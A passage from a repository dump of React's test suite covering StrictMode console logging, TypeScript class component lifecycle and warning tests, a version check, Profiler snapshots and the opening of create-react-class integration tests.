</React.StrictMode>,\n        );\n      });\n      expect(count).toBe(__DEV__ ? 2 : 1);\n      expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);\n      // Note: we should display the first log because otherwise\n      // there is a risk of suppressing warnings when they happen,\n      // and on the next render they'd get deduplicated and ignored.\n      expect(console.log).toBeCalledWith('foo 1');\n    });\n\n    it('does not disable logs for class double getDerivedStateFromProps', async () => {\n      let count = 0;\n      class Foo extends React.Component {\n        state = {};\n        static getDerivedStateFromProps() {\n          count++;\n          console.log('foo ' + count);\n          return {};\n        }\n        render() {\n          return null;\n        }\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <React.StrictMode>\n            <Foo />\n          </React.StrictMode>,\n        );\n      });\n      expect(count).toBe(__DEV__ ? 2 : 1);\n      expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);\n      // Note: we should display the first log because otherwise\n      // there is a risk of suppressing warnings when they happen,\n      // and on the next render they'd get deduplicated and ignored.\n      expect(console.log).toBeCalledWith('foo 1');\n    });\n\n    it('does not disable logs for class double shouldComponentUpdate', async () => {\n      let count = 0;\n      class Foo extends React.Component {\n        state = {};\n        shouldComponentUpdate() {\n          count++;\n          console.log('foo ' + count);\n          return {};\n        }\n        render() {\n          return null;\n        }\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <React.StrictMode>\n            <Foo />\n          </React.StrictMode>,\n        );\n      });\n      await act(() => {\n        root.render(\n          <React.StrictMode>\n            <Foo />\n          </React.StrictMode>,\n        );\n      });\n\n      expect(count).toBe(__DEV__ ? 2 : 1);\n      expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);\n      // Note: we should display the first log because otherwise\n      // there is a risk of suppressing warnings when they happen,\n      // and on the next render they'd get deduplicated and ignored.\n      expect(console.log).toBeCalledWith('foo 1');\n    });\n\n    it('does not disable logs for class state updaters', async () => {\n      let inst;\n      let count = 0;\n      class Foo extends React.Component {\n        state = {};\n        render() {\n          inst = this;\n          return null;\n        }\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <React.StrictMode>\n            <Foo />\n          </React.StrictMode>,\n        );\n      });\n      await act(() => {\n        inst.setState(() => {\n          count++;\n          console.log('foo ' + count);\n          return {};\n        });\n      });\n\n      expect(count).toBe(__DEV__ ? 2 : 1);\n      expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);\n      // Note: we should display the first log because otherwise\n      // there is a risk of suppressing warnings when they happen,\n      // and on the next render they'd get deduplicated and ignored.\n      expect(console.log).toBeCalledWith('foo 1');\n    });\n\n    it('does not disable logs for function double render', async () => {\n      let count = 0;\n      function Foo() {\n        count++;\n        console.log('foo ' + count);\n        return null;\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <React.StrictMode>\n            <Foo />\n          </React.StrictMode>,\n        );\n      });\n      expect(count).toBe(__DEV__ ? 2 : 1);\n      expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);\n      // Note: we should display the first log because otherwise\n      // there is a risk of suppressing warnings when they happen,\n      // and on the next render they'd get deduplicated and ignored.\n      expect(console.log).toBeCalledWith('foo 1');\n    });\n\n    it('does not disable logs for effect double invoke', async () => {\n      let create = 0;\n      let cleanup = 0;\n      function Foo() {\n        React.useEffect(() => {\n          create++;\n          console.log('foo create ' + create);\n          return () => {\n            cleanup++;\n            console.log('foo cleanup ' + cleanup);\n          };\n        });\n        return null;\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <React.StrictMode>\n            <Foo />\n          </React.StrictMode>,\n        );\n      });\n      expect(create).toBe(__DEV__ ? 2 : 1);\n      expect(cleanup).toBe(__DEV__ ? 1 : 0);\n      expect(console.log).toBeCalledTimes(__DEV__ ? 3 : 1);\n      // Note: we should display the first log because otherwise\n      // there is a risk of suppressing warnings when they happen,\n      // and on the next render they'd get deduplicated and ignored.\n      expect(console.log).toBeCalledWith('foo create 1');\n      if (__DEV__) {\n        expect(console.log).toBeCalledWith('foo cleanup 1');\n      }\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactTypeScriptClass-test.ts",
    "content": "/// <reference path=\"./testDefinitions/PropTypes.d.ts\" />\n/// <reference path=\"./testDefinitions/React.d.ts\" />\n/// <reference path=\"./testDefinitions/ReactDOM.d.ts\" />\n/// <reference path=\"./testDefinitions/ReactDOMClient.d.ts\" />\n/// <reference path=\"./testDefinitions/ReactInternalAct.d.ts\" />\n\n/*!\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport React = require('react');\nimport ReactDOM = require('react-dom');\nimport ReactDOMClient = require('react-dom/client');\nimport PropTypes = require('prop-types');\nimport ReactFeatureFlags = require('shared/ReactFeatureFlags');\nimport TestUtils = require('internal-test-utils');\n\n// Before Each\nconst assertConsoleErrorDev = TestUtils.assertConsoleErrorDev;\nconst assertConsoleWarnDev = TestUtils.assertConsoleWarnDev;\nlet container;\nlet root;\nlet attachedListener = null;\nlet renderedName = null;\n\nclass Inner extends React.Component {\n  getName() {\n    return this.props.name;\n  }\n  render() {\n    attachedListener = this.props.onClick;\n    renderedName = this.props.name;\n    return React.createElement('div', {className: this.props.name});\n  }\n}\n\nfunction test(element, expectedTag, expectedClassName) {\n  ReactDOM.flushSync(() => root.render(element));\n  expect(container.firstChild).not.toBeNull();\n  expect(container.firstChild.tagName).toBe(expectedTag);\n  expect(container.firstChild.className).toBe(expectedClassName);\n}\n\n// Classes need to be declared at the top level scope, so we declare all the\n// classes that will be used by the tests below, instead of inlining them.\n// TODO: Consider redesigning this using modules so that we can use non-unique\n// names of classes and bundle them with the test code.\n\n// it preserves the name of the class for use in error messages\n// it throws if no render function is defined\nclass Empty extends React.Component {}\n\n// it renders a simple stateless component with prop\nclass SimpleStateless extends React.Component {\n  props: any;\n  render() {\n    return React.createElement(Inner, {name: this.props.bar});\n  }\n}\n\n// it renders based on state using initial values in this.props\nclass InitialState extends React.Component {\n  state = {\n    bar: this.props.initialValue,\n  };\n  render() {\n    return React.createElement('span', {className: this.state.bar});\n  }\n}\n\n// it renders based on state using props in the constructor\nclass StateBasedOnProps extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {bar: props.initialValue};\n  }\n  changeState() {\n    this.setState({bar: 'bar'});\n  }\n  render() {\n    if (this.state.bar === 'foo') {\n      return React.createElement('div', {className: 'foo'});\n    }\n    return React.createElement('span', {className: this.state.bar});\n  }\n}\n\n// it renders based on context in the constructor\nclass StateBasedOnContext extends React.Component {\n  static contextTypes = {\n    tag: PropTypes.string,\n    className: PropTypes.string,\n  };\n  state = {\n    tag: this.context.tag,\n    className: this.context.className,\n  };\n  render() {\n    const Tag = this.state.tag;\n    return React.createElement(Tag, {className: this.state.className});\n  }\n}\n\nclass ProvideChildContextTypes extends React.Component {\n  static childContextTypes = {\n    tag: PropTypes.string,\n    className: PropTypes.string,\n  };\n  getChildContext() {\n    return {tag: 'span', className: 'foo'};\n  }\n  render() {\n    return React.createElement(StateBasedOnContext);\n  }\n}\n\n// it renders only once when setting state in componentWillMount\nlet renderCount = 0;\nclass RenderOnce extends React.Component {\n  state = {\n    bar: this.props.initialValue,\n  };\n  UNSAFE_componentWillMount() {\n    this.setState({bar: 'bar'});\n  }\n  render() {\n    renderCount++;\n    return React.createElement('span', {className: this.state.bar});\n  }\n}\n\n// it should throw with non-object in the initial state property\nclass ArrayState extends React.Component {\n  state = ['an array'];\n  render() {\n    return React.createElement('span');\n  }\n}\nclass StringState extends React.Component {\n  state = 'a string';\n  render() {\n    return React.createElement('span');\n  }\n}\nclass NumberState extends React.Component {\n  state = 1234;\n  render() {\n    return React.createElement('span');\n  }\n}\n\n// it should render with null in the initial state property\nclass NullState extends React.Component {\n  state = null;\n  render() {\n    return React.createElement('span');\n  }\n}\n\n// it setState through an event handler\nclass BoundEventHandler extends React.Component {\n  state = {\n    bar: this.props.initialValue,\n  };\n  handleClick = () => {\n    this.setState({bar: 'bar'});\n  };\n  render() {\n    return React.createElement(Inner, {\n      name: this.state.bar,\n      onClick: this.handleClick,\n    });\n  }\n}\n\n// it should not implicitly bind event handlers\nclass UnboundEventHandler extends React.Component {\n  state = {\n    bar: this.props.initialValue,\n  };\n  handleClick() {\n    this.setState({bar: 'bar'});\n  }\n  render() {\n    return React.createElement(Inner, {\n      name: this.state.bar,\n      onClick: this.handleClick,\n    });\n  }\n}\n\n// it renders using forceUpdate even when there is no state\nclass ForceUpdateWithNoState extends React.Component {\n  mutativeValue: string = this.props.initialValue;\n  handleClick() {\n    this.mutativeValue = 'bar';\n    this.forceUpdate();\n  }\n  render() {\n    return React.createElement(Inner, {\n      name: this.mutativeValue,\n      onClick: this.handleClick.bind(this),\n    });\n  }\n}\n\n// it will call all the normal life cycle methods\nlet lifeCycles = [];\nclass NormalLifeCycles extends React.Component {\n  props: any;\n  state = {};\n  UNSAFE_componentWillMount() {\n    lifeCycles.push('will-mount');\n  }\n  componentDidMount() {\n    lifeCycles.push('did-mount');\n  }\n  UNSAFE_componentWillReceiveProps(nextProps) {\n    lifeCycles.push('receive-props', nextProps);\n  }\n  shouldComponentUpdate(nextProps, nextState) {\n    lifeCycles.push('should-update', nextProps, nextState);\n    return true;\n  }\n  UNSAFE_componentWillUpdate(nextProps, nextState) {\n    lifeCycles.push('will-update', nextProps, nextState);\n  }\n  componentDidUpdate(prevProps, prevState) {\n    lifeCycles.push('did-update', prevProps, prevState);\n  }\n  componentWillUnmount() {\n    lifeCycles.push('will-unmount');\n  }\n  render() {\n    return React.createElement('span', {className: this.props.value});\n  }\n}\n\n// warns when classic properties are defined on the instance,\n// but does not invoke them.\nlet getInitialStateWasCalled = false;\nlet getDefaultPropsWasCalled = false;\nclass ClassicProperties extends React.Component {\n  contextTypes = {};\n  contextType = {};\n  getDefaultProps() {\n    getDefaultPropsWasCalled = true;\n    return {};\n  }\n  getInitialState() {\n    getInitialStateWasCalled = true;\n    return {};\n  }\n  render() {\n    return React.createElement('span', {className: 'foo'});\n  }\n}\n\n// it should warn when misspelling shouldComponentUpdate\nclass MisspelledComponent1 extends React.Component {\n  componentShouldUpdate() {\n    return false;\n  }\n  render() {\n    return React.createElement('span', {className: 'foo'});\n  }\n}\n\n// it should warn when misspelling componentWillReceiveProps\nclass MisspelledComponent2 extends React.Component {\n  componentWillRecieveProps() {\n    return false;\n  }\n  render() {\n    return React.createElement('span', {className: 'foo'});\n  }\n}\n\n// it should warn when misspelling UNSAFE_componentWillReceiveProps\nclass MisspelledComponent3 extends React.Component {\n  UNSAFE_componentWillRecieveProps() {\n    return false;\n  }\n  render() {\n    return React.createElement('span', {className: 'foo'});\n  }\n}\n\n// it supports this.context passed via getChildContext\nclass ReadContext extends React.Component {\n  static contextTypes = {bar: PropTypes.string};\n  render() {\n    return React.createElement('div', {className: this.context.bar});\n  }\n}\nclass ProvideContext extends React.Component {\n  static childContextTypes = {bar: PropTypes.string};\n  getChildContext() {\n    return {bar: 'bar-through-context'};\n  }\n  render() {\n    return React.createElement(ReadContext);\n  }\n}\n\n// it supports classic refs\nclass ClassicRefs extends React.Component {\n  render() {\n    return React.createElement(Inner, {name: 'foo', ref: 'inner'});\n  }\n}\n\n// Describe the actual test cases.\n\ndescribe('ReactTypeScriptClass', function () {\n  beforeEach(function () {\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    attachedListener = null;\n    renderedName = null;\n  });\n\n  it('preserves the name of the class for use in error messages', function () {\n    expect(Empty.name).toBe('Empty');\n  });\n\n  it('throws if no render function is defined', function () {\n    class Foo extends React.Component {}\n    const caughtErrors = [];\n    function errorHandler(event) {\n      event.preventDefault();\n      caughtErrors.push(event.error);\n    }\n    window.addEventListener('error', errorHandler);\n    try {\n      ReactDOM.flushSync(() => root.render(React.createElement(Empty)));\n      assertConsoleErrorDev([\n        // A failed component renders twice in DEV in concurrent mode\n        'No `render` method found on the Empty instance: ' +\n          'you may have forgotten to define `render`.\\n' +\n          '    in Empty (at **)',\n        'No `render` method found on the Empty instance: ' +\n          'you may have forgotten to define `render`.\\n' +\n          '    in Empty (at **)',\n      ]);\n    } finally {\n      window.removeEventListener('error', errorHandler);\n    }\n    expect(caughtErrors.length).toBe(1);\n  });\n\n  it('renders a simple stateless component with prop', function () {\n    test(React.createElement(SimpleStateless, {bar: 'foo'}), 'DIV', 'foo');\n    test(React.createElement(SimpleStateless, {bar: 'bar'}), 'DIV', 'bar');\n  });\n\n  it('renders based on state using initial values in this.props', function () {\n    test(\n      React.createElement(InitialState, {initialValue: 'foo'}),\n      'SPAN',\n      'foo',\n    );\n  });\n\n  it('renders based on state using props in the constructor', function () {\n    const ref = React.createRef();\n    test(\n      React.createElement(StateBasedOnProps, {initialValue: 'foo', ref: ref}),\n      'DIV',\n      'foo',\n    );\n    ReactDOM.flushSync(() => ref.current.changeState());\n    test(React.createElement(StateBasedOnProps), 'SPAN', 'bar');\n  });\n\n  it('sets initial state with value returned by static getDerivedStateFromProps', function () {\n    class Foo extends React.Component {\n      state = {\n        foo: null,\n        bar: null,\n      };\n      static getDerivedStateFromProps(nextProps, prevState) {\n        return {\n          foo: nextProps.foo,\n          bar: 'bar',\n        };\n      }\n      render() {\n        return React.createElement('div', {\n          className: `${this.state.foo} ${this.state.bar}`,\n        });\n      }\n    }\n    test(React.createElement(Foo, {foo: 'foo'}), 'DIV', 'foo bar');\n  });\n\n  it('warns if getDerivedStateFromProps is not static', function () {\n    class Foo extends React.Component {\n      getDerivedStateFromProps() {\n        return {};\n      }\n      render() {\n        return React.createElement('div', {});\n      }\n    }\n    ReactDOM.flushSync(() =>\n      root.render(React.createElement(Foo, {foo: 'foo'})),\n    );\n    assertConsoleErrorDev([\n      'Foo: getDerivedStateFromProps() is defined as an instance method ' +\n        'and will be ignored. Instead, declare it as a static method.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('warns if getDerivedStateFromError is not static', function () {\n    class Foo extends React.Component {\n      getDerivedStateFromError() {\n        return {};\n      }\n      render() {\n        return React.createElement('div');\n      }\n    }\n    ReactDOM.flushSync(() =>\n      root.render(React.createElement(Foo, {foo: 'foo'})),\n    );\n    assertConsoleErrorDev([\n      'Foo: getDerivedStateFromError() is defined as an instance method ' +\n        'and will be ignored. Instead, declare it as a static method.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('warns if getSnapshotBeforeUpdate is static', function () {\n    class Foo extends React.Component {\n      static getSnapshotBeforeUpdate() {}\n      render() {\n        return React.createElement('div', {});\n      }\n    }\n    ReactDOM.flushSync(() =>\n      root.render(React.createElement(Foo, {foo: 'foo'})),\n    );\n    assertConsoleErrorDev([\n      'Foo: getSnapshotBeforeUpdate() is defined as a static method ' +\n        'and will be ignored. Instead, declare it as an instance method.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('warns if state not initialized before static getDerivedStateFromProps', function () {\n    class Foo extends React.Component {\n      static getDerivedStateFromProps(nextProps, prevState) {\n        return {\n          foo: nextProps.foo,\n          bar: 'bar',\n        };\n      }\n      render() {\n        return React.createElement('div', {\n          className: `${this.state.foo} ${this.state.bar}`,\n        });\n      }\n    }\n    ReactDOM.flushSync(() =>\n      root.render(React.createElement(Foo, {foo: 'foo'})),\n    );\n    assertConsoleErrorDev([\n      '`Foo` uses `getDerivedStateFromProps` but its initial state is ' +\n        'undefined. This is not recommended. Instead, define the initial state by ' +\n        'assigning an object to `this.state` in the constructor of `Foo`. ' +\n        'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('updates initial state with values returned by static getDerivedStateFromProps', function () {\n    class Foo extends React.Component {\n      state = {\n        foo: 'foo',\n        bar: 'bar',\n      };\n      static getDerivedStateFromProps(nextProps, prevState) {\n        return {\n          foo: `not-${prevState.foo}`,\n        };\n      }\n      render() {\n        return React.createElement('div', {\n          className: `${this.state.foo} ${this.state.bar}`,\n        });\n      }\n    }\n    test(React.createElement(Foo), 'DIV', 'not-foo bar');\n  });\n\n  it('renders updated state with values returned by static getDerivedStateFromProps', function () {\n    class Foo extends React.Component {\n      state = {\n        value: 'initial',\n      };\n      static getDerivedStateFromProps(nextProps, prevState) {\n        if (nextProps.update) {\n          return {\n            value: 'updated',\n          };\n        }\n        return null;\n      }\n      render() {\n        return React.createElement('div', {className: this.state.value});\n      }\n    }\n    test(React.createElement(Foo, {update: false}), 'DIV', 'initial');\n    test(React.createElement(Foo, {update: true}), 'DIV', 'updated');\n  });\n\n  if (!ReactFeatureFlags.disableLegacyContext) {\n    it('renders based on context in the constructor', function () {\n      test(React.createElement(ProvideChildContextTypes), 'SPAN', 'foo');\n      assertConsoleErrorDev([\n        'ProvideChildContextTypes uses the legacy childContextTypes API which will soon be removed. ' +\n          'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n          '    in ProvideChildContextTypes (at **)',\n        'StateBasedOnContext uses the legacy contextTypes API which will soon be removed. ' +\n          'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n          '    in ProvideChildContextTypes.createElement (at **)',\n      ]);\n    });\n  }\n\n  it('renders only once when setting state in componentWillMount', function () {\n    renderCount = 0;\n    test(React.createElement(RenderOnce, {initialValue: 'foo'}), 'SPAN', 'bar');\n    expect(renderCount).toBe(1);\n  });\n\n  it('should warn with non-object in the initial state property', function () {\n    test(React.createElement(ArrayState), 'SPAN', '');\n    assertConsoleErrorDev([\n      'ArrayState.state: must be set to an object or null\\n' +\n        '    in ArrayState (at **)',\n    ]);\n    test(React.createElement(StringState), 'SPAN', '');\n    assertConsoleErrorDev([\n      'StringState.state: must be set to an object or null\\n' +\n        '    in StringState (at **)',\n    ]);\n    test(React.createElement(NumberState), 'SPAN', '');\n    assertConsoleErrorDev([\n      'NumberState.state: must be set to an object or null\\n' +\n        '    in NumberState (at **)',\n    ]);\n  });\n\n  it('should render with null in the initial state property', function () {\n    test(React.createElement(NullState), 'SPAN', '');\n  });\n\n  it('setState through an event handler', function () {\n    test(\n      React.createElement(BoundEventHandler, {initialValue: 'foo'}),\n      'DIV',\n      'foo',\n    );\n    ReactDOM.flushSync(() => attachedListener());\n    expect(renderedName).toBe('bar');\n  });\n\n  it('should not implicitly bind event handlers', function () {\n    test(\n      React.createElement(UnboundEventHandler, {initialValue: 'foo'}),\n      'DIV',\n      'foo',\n    );\n    expect(attachedListener).toThrow();\n  });\n\n  it('renders using forceUpdate even when there is no state', function () {\n    test(\n      React.createElement(ForceUpdateWithNoState, {initialValue: 'foo'}),\n      'DIV',\n      'foo',\n    );\n    ReactDOM.flushSync(() => attachedListener());\n    expect(renderedName).toBe('bar');\n  });\n\n  it('will call all the normal life cycle methods', function () {\n    lifeCycles = [];\n    test(React.createElement(NormalLifeCycles, {value: 'foo'}), 'SPAN', 'foo');\n    expect(lifeCycles).toEqual(['will-mount', 'did-mount']);\n    lifeCycles = []; // reset\n    test(React.createElement(NormalLifeCycles, {value: 'bar'}), 'SPAN', 'bar');\n    expect(lifeCycles).toEqual([\n      'receive-props',\n      {value: 'bar'},\n      'should-update',\n      {value: 'bar'},\n      {},\n      'will-update',\n      {value: 'bar'},\n      {},\n      'did-update',\n      {value: 'foo'},\n      {},\n    ]);\n    lifeCycles = []; // reset\n    ReactDOM.flushSync(() => root.unmount(container));\n    expect(lifeCycles).toEqual(['will-unmount']);\n  });\n\n  if (!ReactFeatureFlags.disableLegacyContext) {\n    it(\n      'warns when classic properties are defined on the instance, ' +\n        'but does not invoke them.',\n      function () {\n        getInitialStateWasCalled = false;\n        getDefaultPropsWasCalled = false;\n        test(React.createElement(ClassicProperties), 'SPAN', 'foo');\n        assertConsoleErrorDev([\n          'getInitialState was defined on ClassicProperties, a plain JavaScript class. ' +\n            'This is only supported for classes created using React.createClass. ' +\n            'Did you mean to define a state property instead?\\n' +\n            '    in ClassicProperties (at **)',\n          'getDefaultProps was defined on ClassicProperties, a plain JavaScript class. ' +\n            'This is only supported for classes created using React.createClass. ' +\n            'Use a static property to define defaultProps instead.\\n' +\n            '    in ClassicProperties (at **)',\n          'contextType was defined as an instance property on ClassicProperties. ' +\n            'Use a static property to define contextType instead.\\n' +\n            '    in ClassicProperties (at **)',\n          'contextTypes was defined as an instance property on ClassicProperties. ' +\n            'Use a static property to define contextTypes instead.\\n' +\n            '    in ClassicProperties (at **)',\n        ]);\n        expect(getInitialStateWasCalled).toBe(false);\n        expect(getDefaultPropsWasCalled).toBe(false);\n      },\n    );\n  }\n\n  it(\n    'does not warn about getInitialState() on class components ' +\n      'if state is also defined.',\n    () => {\n      class Example extends React.Component {\n        state = {};\n        getInitialState() {\n          return {};\n        }\n        render() {\n          return React.createElement('span', {className: 'foo'});\n        }\n      }\n\n      test(React.createElement(Example), 'SPAN', 'foo');\n    },\n  );\n\n  it('should warn when misspelling shouldComponentUpdate', function () {\n    test(React.createElement(MisspelledComponent1), 'SPAN', 'foo');\n    assertConsoleErrorDev([\n      'MisspelledComponent1 has a method called componentShouldUpdate(). Did ' +\n        'you mean shouldComponentUpdate()? The name is phrased as a question ' +\n        'because the function is expected to return a value.\\n' +\n        '    in MisspelledComponent1 (at **)',\n    ]);\n  });\n\n  it('should warn when misspelling componentWillReceiveProps', function () {\n    test(React.createElement(MisspelledComponent2), 'SPAN', 'foo');\n    assertConsoleErrorDev([\n      'MisspelledComponent2 has a method called componentWillRecieveProps(). ' +\n        'Did you mean componentWillReceiveProps()?\\n' +\n        '    in MisspelledComponent2 (at **)',\n    ]);\n  });\n\n  it('should warn when misspelling UNSAFE_componentWillReceiveProps', function () {\n    test(React.createElement(MisspelledComponent3), 'SPAN', 'foo');\n    assertConsoleErrorDev([\n      'MisspelledComponent3 has a method called UNSAFE_componentWillRecieveProps(). ' +\n        'Did you mean UNSAFE_componentWillReceiveProps()?\\n' +\n        '    in MisspelledComponent3 (at **)',\n    ]);\n  });\n\n  it('should throw AND warn when trying to access classic APIs', function () {\n    const ref = React.createRef();\n    test(React.createElement(Inner, {name: 'foo', ref: ref}), 'DIV', 'foo');\n    expect(() => ref.current.replaceState({})).toThrow();\n    assertConsoleWarnDev([\n      'replaceState(...) is deprecated in plain JavaScript React classes. ' +\n        'Refactor your code to use setState instead (see https://github.com/facebook/react/issues/3236).',\n    ]);\n    expect(() => ref.current.isMounted()).toThrow();\n    assertConsoleWarnDev([\n      'isMounted(...) is deprecated in plain JavaScript React classes. ' +\n        'Instead, make sure to clean up subscriptions and pending requests in ' +\n        'componentWillUnmount to prevent memory leaks.',\n    ]);\n  });\n\n  if (!ReactFeatureFlags.disableLegacyContext) {\n    it('supports this.context passed via getChildContext', () => {\n      test(React.createElement(ProvideContext), 'DIV', 'bar-through-context');\n      assertConsoleErrorDev([\n        'ProvideContext uses the legacy childContextTypes API which will soon be removed. ' +\n          'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n          '    in ProvideContext (at **)',\n        'ReadContext uses the legacy contextTypes API which will soon be removed. ' +\n          'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n          '    in ProvideContext.createElement (at **)',\n      ]);\n    });\n  }\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactVersion-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\n// NOTE: Intentionally using the dynamic version of the `gate` pragma to opt out\n// the negative test behavior. If this test happens to pass when running\n// against files source, that's fine. But all we care about is the behavior of\n// the build artifacts.\n// TODO: The experimental builds have a different version at runtime than\n// the package.json because DevTools uses it for feature detection. Consider\n// some other way of handling that.\ntest('ReactVersion matches package.json', () => {\n  if (gate(flags => flags.build && flags.stable && !flags.www)) {\n    const React = require('react');\n    const packageJSON = require('react/package.json');\n    expect(React.version).toBe(packageJSON.version);\n  }\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/__snapshots__/ReactProfilerComponent-test.internal.js.snap",
    "content": "// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`Profiler works in profiling and non-profiling bundles enableProfilerTimer:disabled should render children 1`] = `\"<div><span>outside span</span><span>inside span</span><span>function component</span></div>\"`;\n\nexports[`Profiler works in profiling and non-profiling bundles enableProfilerTimer:disabled should support an empty Profiler (with no children) 1`] = `\"\"`;\n\nexports[`Profiler works in profiling and non-profiling bundles enableProfilerTimer:disabled should support an empty Profiler (with no children) 2`] = `\"<div></div>\"`;\n\nexports[`Profiler works in profiling and non-profiling bundles enableProfilerTimer:disabled should support nested Profilers 1`] = `\"<div>outer function component</div><span>inner class component</span><span>inner span</span>\"`;\n\nexports[`Profiler works in profiling and non-profiling bundles enableProfilerTimer:enabled should render children 1`] = `\"<div><span>outside span</span><span>inside span</span><span>function component</span></div>\"`;\n\nexports[`Profiler works in profiling and non-profiling bundles enableProfilerTimer:enabled should support an empty Profiler (with no children) 1`] = `\"\"`;\n\nexports[`Profiler works in profiling and non-profiling bundles enableProfilerTimer:enabled should support an empty Profiler (with no children) 2`] = `\"<div></div>\"`;\n\nexports[`Profiler works in profiling and non-profiling bundles enableProfilerTimer:enabled should support nested Profilers 1`] = `\"<div>outer function component</div><span>inner class component</span><span>inner span</span>\"`;\n"
  },
  {
    "path": "packages/react/src/__tests__/createReactClassIntegration-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet act;\nlet assertConsoleErrorDev;\nlet assertConsoleWarnDev;\n\nlet PropTypes;\nlet React;\nlet ReactDOMClient;\nlet createReactClass;\n\ndescribe('create-react-class-integration', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    ({\n      act,\n      assertConsoleErrorDev,\n      assertConsoleWarnDev,\n    } = require('internal-test-utils'));\n    PropTypes = require('prop-types');\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    createReactClass = require('create-react-class/factory')(\n      React.Component,\n      React.isValidElement,\n      new React.Component().updater,\n    );\n  });\n\n  it('should throw when `render` is not specified', () => {\n    expect(function () {\n      createReactClass({});\n    }).toThrowError('Class specification must implement a `render` method.');\n  });\n\n  it('should copy prop types onto the Constructor', () => {\n    const propValidator = jest.fn();\n    const TestComponent = createReactClass({\n      propTypes: {\n        value: propValidator,\n      },\n      render: function () {\n        return <div />;\n      },\n    });\n\n    expect(TestComponent.propTypes).toBeDefined();\n    expect(TestComponent.propTypes.value).toBe(propValidator);\n  });\n\n  it('should warn on invalid prop types', () => {\n    createReactClass({\n      displayName: 'Component',\n      propTypes: {\n        prop: null,\n      },\n      render: function () {\n        return <span>{this.props.prop}</span>;\n      },\n    });\n    assertConsoleErrorDev([\n      'Warning: Component: prop type `prop` is invalid; ' +\n        'it must be a function, usually from React.PropTypes.',\n    ]);\n  });\n\n  it('should warn on invalid context types', () => {\n    createReactClass({\n      displayName: 'Component',\n      contextTypes: {\n        prop: null,\n      },\n      render: function () {\n        return <span>{this.props.prop}</span>;\n      },\n    });\n    assertConsoleErrorDev([\n      'Warning: Component: context type `prop` is invalid; ' +\n        'it must be a function, usually from React.PropTypes.',\n    ]);\n  });\n\n  it('should throw on invalid child context types', () => {\n    createReactClass({\n      displayName: 'Component',\n      childContextTypes: {\n        prop: null,\n      },\n      render: function () {\n        return <span>{this.props.prop}</span>;\n      },\n    });\n    assertConsoleErrorDev([\n      'Warning: Component: child context type `prop` is invalid; it must be a function, usually from React.PropTypes.',\n    ]);\n  });\n\n  it('should warn when misspelling shouldComponentUpdate', () => {\n    createReactClass({\n      componentShouldUpdate: function () {\n        return false;\n      },\n      render: function () {\n        return <div />;\n      },\n    });\n    assertConsoleErrorDev([\n      'Warning: A component has a method called componentShouldUpdate(). Did you ' +\n        'mean shouldComponentUpdate()? The name is phrased as a question ' +\n        'because the function is expected to return a value.',\n    ]);\n\n    createReactClass({\n      displayName: 'NamedComponent',\n      componentShouldUpdate: function () {\n        return false;\n      },\n      render: function () {\n        return <div />;\n      },\n    });\n    assertConsoleErrorDev([\n      'Warning: NamedComponent has a method called componentShouldUpdate(). Did you ' +\n        'mean shouldComponentUpdate()? The name is phrased as a question ' +\n        'because the function is expected to return a value.',\n    ]);\n  });\n\n  it('should warn when misspelling componentWillReceiveProps', () => {\n    createReactClass({\n      componentWillRecieveProps: function () {\n        return false;\n      },\n      render: function () {\n        return <div />;\n      },\n    });\n    assertConsoleErrorDev([\n      'Warning: A component has a method called componentWillRecieveProps(). Did you ' +\n        'mean componentWillReceiveProps()?',\n    ]);\n  });\n\n  it('should warn when misspelling UNSAFE_componentWillReceiveProps', () => {\n    createReactClass({\n      UNSAFE_componentWillRecieveProps: function () {\n        return false;\n      },\n      render: function () {\n        return <div />;\n      },\n    });\n    assertConsoleErrorDev([\n      'Warning: A component has a method called UNSAFE_componentWillRecieveProps(). ' +\n        'Did you mean UNSAFE_componentWillReceiveProps()?',\n    ]);\n  });\n\n  it('should throw if a reserved property is in statics', () => {\n    expect(function () {\n      createReactClass({\n        statics: {\n          getDefaultProps: function () {\n            return {\n              foo: 0,\n            };\n          },\n        },\n\n        render: function () {\n          return <span />;\n        },\n      });\n    }).toThrowError(\n      'ReactClass: You are attempting to define a reserved property, ' +\n        '`getDefaultProps`, that 